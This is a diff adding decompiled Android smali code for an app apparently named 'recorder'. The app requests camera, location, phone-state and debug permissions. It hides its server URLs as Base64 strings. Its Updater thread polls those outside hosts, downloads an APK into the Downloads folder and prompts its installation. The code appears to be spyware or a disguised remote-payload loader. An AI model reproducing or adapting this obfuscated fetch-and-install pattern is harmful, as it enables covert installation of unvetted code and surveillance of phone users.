|
||||
.line 73
|
||||
new-instance p1, Ljava/lang/Object;
|
||||
|
||||
invoke-direct {p1}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public run()V
|
||||
.locals 13
|
||||
|
||||
const-string v0, "file://"
|
||||
|
||||
.line 82
|
||||
:try_start_0
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
monitor-enter v1
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
.line 83
|
||||
:try_start_1
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
const-wide/16 v3, 0x3e8
|
||||
|
||||
invoke-virtual {v2, v3, v4}, Ljava/lang/Object;->wait(J)V
|
||||
|
||||
.line 84
|
||||
monitor-exit v1
|
||||
:try_end_1
|
||||
.catchall {:try_start_1 .. :try_end_1} :catchall_2
|
||||
|
||||
.line 85
|
||||
:try_start_2
|
||||
new-instance v1, Ljava/lang/String;
|
||||
|
||||
sget-object v2, Lcom/nvav/srv/recorder/MActivity;->ast:[B
|
||||
|
||||
invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
|
||||
|
||||
.line 86
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {v2}, Lcom/nvav/srv/recorder/MActivity;->getPackageManager()Landroid/content/pm/PackageManager;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
iget-object v5, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {v5}, Lcom/nvav/srv/recorder/MActivity;->getPackageName()Ljava/lang/String;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
const/4 v6, 0x0
|
||||
|
||||
invoke-virtual {v2, v5, v6}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
.line 87
|
||||
new-instance v5, Ljava/io/File;
|
||||
|
||||
iget-object v2, v2, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
|
||||
|
||||
invoke-direct {v5, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 88
|
||||
invoke-virtual {v5}, Ljava/io/File;->lastModified()J
|
||||
|
||||
move-result-wide v7
|
||||
|
||||
div-long/2addr v7, v3
|
||||
|
||||
.line 89
|
||||
new-instance v2, Ljava/net/URL;
|
||||
|
||||
const-string v3, "%s%s"
|
||||
|
||||
const/4 v4, 0x2
|
||||
|
||||
new-array v5, v4, [Ljava/lang/Object;
|
||||
|
||||
aput-object v1, v5, v6
|
||||
|
||||
new-instance v9, Ljava/lang/String;
|
||||
|
||||
sget-object v10, Lcom/nvav/srv/recorder/MActivity;->ast1:[B
|
||||
|
||||
invoke-direct {v9, v10}, Ljava/lang/String;-><init>([B)V
|
||||
|
||||
const/4 v10, 0x1
|
||||
|
||||
aput-object v9, v5, v10
|
||||
|
||||
invoke-static {v3, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-direct {v2, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 90
|
||||
invoke-virtual {v2}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
check-cast v2, Ljava/net/HttpURLConnection;
|
||||
|
||||
.line 91
|
||||
new-instance v3, Ljava/io/BufferedInputStream;
|
||||
|
||||
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
invoke-direct {v3, v5}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
|
||||
|
||||
.line 92
|
||||
new-instance v5, Ljava/io/BufferedReader;
|
||||
|
||||
new-instance v9, Ljava/io/InputStreamReader;
|
||||
|
||||
invoke-direct {v9, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
|
||||
|
||||
invoke-direct {v5, v9}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
|
||||
|
||||
.line 93
|
||||
invoke-virtual {v5}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {v3}, Ljava/lang/String;->trim()Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
|
||||
|
||||
move-result-wide v11
|
||||
|
||||
.line 94
|
||||
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
|
||||
|
||||
cmp-long v2, v11, v7
|
||||
|
||||
const-wide/16 v7, 0x7d0
|
||||
|
||||
const/16 v3, 0x50
|
||||
|
||||
if-gtz v2, :cond_1
|
||||
|
||||
.line 95
|
||||
iget-boolean v2, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->update:Z
|
||||
|
||||
if-eqz v2, :cond_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 133
|
||||
:cond_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
const-string v1, "NO Update!"
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/Toast;->setText(Ljava/lang/CharSequence;)V
|
||||
|
||||
.line 134
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
invoke-virtual {v0, v3, v6, v6}, Landroid/widget/Toast;->setGravity(III)V
|
||||
|
||||
.line 135
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
invoke-virtual {v0}, Landroid/widget/Toast;->show()V
|
||||
|
||||
.line 136
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
monitor-enter v0
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_0
|
||||
|
||||
.line 137
|
||||
:try_start_3
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
invoke-virtual {v1, v7, v8}, Ljava/lang/Object;->wait(J)V
|
||||
|
||||
.line 138
|
||||
monitor-exit v0
|
||||
|
||||
goto/16 :goto_1
|
||||
|
||||
:catchall_0
|
||||
move-exception v1
|
||||
|
||||
monitor-exit v0
|
||||
:try_end_3
|
||||
.catchall {:try_start_3 .. :try_end_3} :catchall_0
|
||||
|
||||
:try_start_4
|
||||
throw v1
|
||||
|
||||
.line 96
|
||||
:cond_1
|
||||
:goto_0
|
||||
const-string v2, "%s/"
|
||||
|
||||
new-array v5, v10, [Ljava/lang/Object;
|
||||
|
||||
sget-object v9, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
|
||||
|
||||
invoke-static {v9}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
|
||||
|
||||
move-result-object v9
|
||||
|
||||
aput-object v9, v5, v6
|
||||
|
||||
invoke-static {v2, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
.line 97
|
||||
const-string v5, "rec.apk"
|
||||
|
||||
.line 98
|
||||
new-instance v9, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
|
||||
|
||||
invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
.line 99
|
||||
new-instance v5, Ljava/lang/StringBuilder;
|
||||
|
||||
invoke-direct {v5, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 100
|
||||
new-instance v5, Ljava/io/File;
|
||||
|
||||
invoke-direct {v5, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 101
|
||||
invoke-virtual {v5}, Ljava/io/File;->exists()Z
|
||||
|
||||
move-result v2
|
||||
|
||||
if-eqz v2, :cond_2
|
||||
|
||||
invoke-virtual {v5}, Ljava/io/File;->delete()Z
|
||||
|
||||
.line 102
|
||||
:cond_2
|
||||
const-string v2, "%s%s"
|
||||
|
||||
new-array v9, v4, [Ljava/lang/Object;
|
||||
|
||||
aput-object v1, v9, v6
|
||||
|
||||
new-instance v1, Ljava/lang/String;
|
||||
|
||||
sget-object v11, Lcom/nvav/srv/recorder/MActivity;->ast2:[B
|
||||
|
||||
invoke-direct {v1, v11}, Ljava/lang/String;-><init>([B)V
|
||||
|
||||
aput-object v1, v9, v10
|
||||
|
||||
invoke-static {v2, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
.line 103
|
||||
new-instance v2, Landroid/app/DownloadManager$Request;
|
||||
|
||||
invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-direct {v2, v1}, Landroid/app/DownloadManager$Request;-><init>(Landroid/net/Uri;)V
|
||||
|
||||
.line 104
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
const/high16 v9, 0x7f070000
|
||||
|
||||
invoke-virtual {v1, v9}, Lcom/nvav/srv/recorder/MActivity;->getString(I)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v2, v1}, Landroid/app/DownloadManager$Request;->setTitle(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
|
||||
|
||||
.line 105
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
const v9, 0x7f070001
|
||||
|
||||
invoke-virtual {v1, v9}, Lcom/nvav/srv/recorder/MActivity;->getString(I)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v2, v1}, Landroid/app/DownloadManager$Request;->setDescription(Ljava/lang/CharSequence;)Landroid/app/DownloadManager$Request;
|
||||
|
||||
.line 106
|
||||
invoke-virtual {v2, v0}, Landroid/app/DownloadManager$Request;->setDestinationUri(Landroid/net/Uri;)Landroid/app/DownloadManager$Request;
|
||||
|
||||
.line 107
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
const-string v1, "download"
|
||||
|
||||
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/MActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Landroid/app/DownloadManager;
|
||||
|
||||
.line 108
|
||||
invoke-virtual {v0, v2}, Landroid/app/DownloadManager;->enqueue(Landroid/app/DownloadManager$Request;)J
|
||||
|
||||
.line 109
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
const-string v1, "com.nvav.srv.recorder.provider"
|
||||
|
||||
invoke-static {v0, v1, v5}, Landroid/support/v4/content/FileProvider;->getUriForFile(Landroid/content/Context;Ljava/lang/String;Ljava/io/File;)Landroid/net/Uri;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 110
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/MActivity;->alert:Landroid/app/AlertDialog;
|
||||
|
||||
const-string v2, "%s\n%s\n%s"
|
||||
|
||||
const/4 v9, 0x3
|
||||
|
||||
new-array v11, v9, [Ljava/lang/Object;
|
||||
|
||||
iget-object v12, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v12, v12, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
aput-object v12, v11, v6
|
||||
|
||||
const-string v12, "com.nvav.srv.recorder.provider"
|
||||
|
||||
aput-object v12, v11, v10
|
||||
|
||||
aput-object v5, v11, v4
|
||||
|
||||
invoke-static {v2, v11}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
|
||||
|
||||
.line 111
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->tv:Landroid/widget/TextView;
|
||||
|
||||
const-string v2, "%s\n%s\n%s"
|
||||
|
||||
new-array v9, v9, [Ljava/lang/Object;
|
||||
|
||||
iget-object v11, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v11, v11, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
aput-object v11, v9, v6
|
||||
|
||||
const-string v11, "com.nvav.srv.recorder.provider"
|
||||
|
||||
aput-object v11, v9, v10
|
||||
|
||||
aput-object v5, v9, v4
|
||||
|
||||
invoke-static {v2, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
|
||||
|
||||
.line 113
|
||||
new-instance v1, Lcom/nvav/srv/recorder/MActivity$Updater$1;
|
||||
|
||||
invoke-direct {v1, p0, v0}, Lcom/nvav/srv/recorder/MActivity$Updater$1;-><init>(Lcom/nvav/srv/recorder/MActivity$Updater;Landroid/net/Uri;)V
|
||||
|
||||
.line 124
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
new-instance v2, Landroid/content/IntentFilter;
|
||||
|
||||
const-string v4, "android.intent.action.DOWNLOAD_COMPLETE"
|
||||
|
||||
invoke-direct {v2, v4}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
|
||||
|
||||
invoke-virtual {v0, v1, v2}, Lcom/nvav/srv/recorder/MActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
|
||||
|
||||
.line 125
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
const-string v1, "Update!"
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/Toast;->setText(Ljava/lang/CharSequence;)V
|
||||
|
||||
.line 126
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
invoke-virtual {v0, v3, v6, v6}, Landroid/widget/Toast;->setGravity(III)V
|
||||
|
||||
.line 127
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
invoke-virtual {v0}, Landroid/widget/Toast;->show()V
|
||||
|
||||
.line 128
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
monitor-enter v0
|
||||
:try_end_4
|
||||
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_0
|
||||
|
||||
.line 129
|
||||
:try_start_5
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
|
||||
|
||||
invoke-virtual {v1, v7, v8}, Ljava/lang/Object;->wait(J)V
|
||||
|
||||
.line 130
|
||||
monitor-exit v0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catchall_1
|
||||
move-exception v1
|
||||
|
||||
monitor-exit v0
|
||||
:try_end_5
|
||||
.catchall {:try_start_5 .. :try_end_5} :catchall_1
|
||||
|
||||
:try_start_6
|
||||
throw v1
|
||||
:try_end_6
|
||||
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_0
|
||||
|
||||
:catchall_2
|
||||
move-exception v0
|
||||
|
||||
.line 84
|
||||
:try_start_7
|
||||
monitor-exit v1
|
||||
:try_end_7
|
||||
.catchall {:try_start_7 .. :try_end_7} :catchall_2
|
||||
|
||||
:try_start_8
|
||||
throw v0
|
||||
:try_end_8
|
||||
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 141
|
||||
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,725 @@
|
||||
.class public Lcom/nvav/srv/recorder/MActivity;
|
||||
.super Landroid/app/Activity;
|
||||
.source "MActivity.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/MemberClasses;
|
||||
value = {
|
||||
Lcom/nvav/srv/recorder/MActivity$Updater;,
|
||||
Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field static ast:[B
|
||||
|
||||
.field static ast1:[B
|
||||
|
||||
.field static ast2:[B
|
||||
|
||||
.field static chenals:[I
|
||||
|
||||
.field static colors:[Ljava/lang/String;
|
||||
|
||||
.field static final key_ch:[Ljava/lang/String;
|
||||
|
||||
.field private static final perm:[Ljava/lang/String;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field Chenal:Ljava/lang/Byte;
|
||||
|
||||
.field alert:Landroid/app/AlertDialog;
|
||||
|
||||
.field context:Landroid/content/Context;
|
||||
|
||||
.field handler:Landroid/os/Handler;
|
||||
|
||||
.field public ia:Ljava/lang/Boolean;
|
||||
|
||||
.field intent:Landroid/content/Intent;
|
||||
|
||||
.field mPreviewView:Landroid/widget/TextView;
|
||||
|
||||
.field mRunning:Z
|
||||
|
||||
.field toast:Landroid/widget/Toast;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method static constructor <clinit>()V
|
||||
.locals 13
|
||||
|
||||
.line 55
|
||||
const-string v6, "android.permission.ACCESS_COARSE_LOCATION"
|
||||
|
||||
const-string v7, "android.permission.ACCESS_FINE_LOCATION"
|
||||
|
||||
const-string v0, "android.permission.CAMERA"
|
||||
|
||||
const-string v1, "android.permission.SET_DEBUG_APP"
|
||||
|
||||
const-string v2, "android.permission.WRITE_EXTERNAL_STORAGE"
|
||||
|
||||
const-string v3, "android.permission.READ_EXTERNAL_STORAGE"
|
||||
|
||||
const-string v4, "android.permission.INTERNET"
|
||||
|
||||
const-string v5, "android.permission.READ_PHONE_STATE"
|
||||
|
||||
filled-new-array/range {v0 .. v7}, [Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->perm:[Ljava/lang/String;
|
||||
|
||||
.line 61
|
||||
const-string v11, "#808080"
|
||||
|
||||
const-string v12, "#87CEFA"
|
||||
|
||||
const-string v1, "#000000"
|
||||
|
||||
const-string v2, "#B22222"
|
||||
|
||||
const-string v3, "#00FF7F"
|
||||
|
||||
const-string v4, "#000080"
|
||||
|
||||
const-string v5, "#FFFF00"
|
||||
|
||||
const-string v6, "#7B68EE"
|
||||
|
||||
const-string v7, "#DC143C"
|
||||
|
||||
const-string v8, "#006400"
|
||||
|
||||
const-string v9, "#00FFFF"
|
||||
|
||||
const-string v10, "#FFA500"
|
||||
|
||||
filled-new-array/range {v1 .. v12}, [Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->colors:[Ljava/lang/String;
|
||||
|
||||
const/16 v0, 0xc
|
||||
|
||||
.line 63
|
||||
new-array v0, v0, [I
|
||||
|
||||
fill-array-data v0, :array_0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->chenals:[I
|
||||
|
||||
.line 64
|
||||
const-string v11, "2BB4"
|
||||
|
||||
const-string v12, "1F0E"
|
||||
|
||||
const-string v1, "0000"
|
||||
|
||||
const-string v2, "1111"
|
||||
|
||||
const-string v3, "533D"
|
||||
|
||||
const-string v4, "9A32"
|
||||
|
||||
const-string v5, "DC8F"
|
||||
|
||||
const-string v6, "1095"
|
||||
|
||||
const-string v7, "4167"
|
||||
|
||||
const-string v8, "2E43"
|
||||
|
||||
const-string v9, "701B"
|
||||
|
||||
const-string v10, "2BA9"
|
||||
|
||||
filled-new-array/range {v1 .. v12}, [Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->key_ch:[Ljava/lang/String;
|
||||
|
||||
.line 65
|
||||
const-string v0, "aHR0cDovL2FsYW50b3JnLmNvbS9O"
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->ast:[B
|
||||
|
||||
.line 66
|
||||
const-string v0, "aHR0cHM6Ly9uZXdpcC52aWRzZXIudG9wL04="
|
||||
|
||||
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->ast1:[B
|
||||
|
||||
.line 67
|
||||
const-string v0, "L3JlYy1yZWxlYXNlLmFwaw=="
|
||||
|
||||
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/MActivity;->ast2:[B
|
||||
|
||||
return-void
|
||||
|
||||
nop
|
||||
|
||||
:array_0
|
||||
.array-data 4
|
||||
0x0
|
||||
0x37
|
||||
0x36
|
||||
0x35
|
||||
0x33
|
||||
0x31
|
||||
0x30
|
||||
0x34
|
||||
0x32
|
||||
0x2f
|
||||
0x2e
|
||||
0x2d
|
||||
.end array-data
|
||||
.end method
|
||||
|
||||
.method public constructor <init>()V
|
||||
.locals 1
|
||||
|
||||
.line 54
|
||||
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 153
|
||||
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method static synthetic access$000(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 54
|
||||
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->init()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method static synthetic access$100(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 54
|
||||
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->getCh()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method private getCh()V
|
||||
.locals 3
|
||||
|
||||
.line 298
|
||||
new-instance v0, Landroid/app/AlertDialog$Builder;
|
||||
|
||||
invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
|
||||
|
||||
.line 299
|
||||
const-string v1, "Input CODE"
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 301
|
||||
new-instance v1, Landroid/widget/EditText;
|
||||
|
||||
invoke-direct {v1, p0}, Landroid/widget/EditText;-><init>(Landroid/content/Context;)V
|
||||
|
||||
.line 302
|
||||
invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 304
|
||||
new-instance v2, Lcom/nvav/srv/recorder/MActivity$5;
|
||||
|
||||
invoke-direct {v2, p0, v1}, Lcom/nvav/srv/recorder/MActivity$5;-><init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/EditText;)V
|
||||
|
||||
const-string v1, "OK"
|
||||
|
||||
invoke-virtual {v0, v1, v2}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 318
|
||||
new-instance v1, Lcom/nvav/srv/recorder/MActivity$6;
|
||||
|
||||
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$6;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
const-string v2, "Cancel"
|
||||
|
||||
invoke-virtual {v0, v2, v1}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 325
|
||||
invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method private init()V
|
||||
.locals 4
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
.line 330
|
||||
:goto_0
|
||||
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->chenals:[I
|
||||
|
||||
array-length v2, v1
|
||||
|
||||
if-ge v0, v2, :cond_1
|
||||
|
||||
.line 331
|
||||
aget v1, v1, v0
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
invoke-virtual {v2}, Ljava/lang/Byte;->byteValue()B
|
||||
|
||||
move-result v2
|
||||
|
||||
if-ne v1, v2, :cond_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v0, v0, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:cond_1
|
||||
const/4 v0, 0x0
|
||||
|
||||
:goto_1
|
||||
const/16 v1, 0x11
|
||||
|
||||
.line 335
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
const/high16 v2, 0x7f070000
|
||||
|
||||
invoke-virtual {p0, v2}, Lcom/nvav/srv/recorder/MActivity;->getString(I)Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
filled-new-array {v1, v2, v3}, [Ljava/lang/Object;
|
||||
|
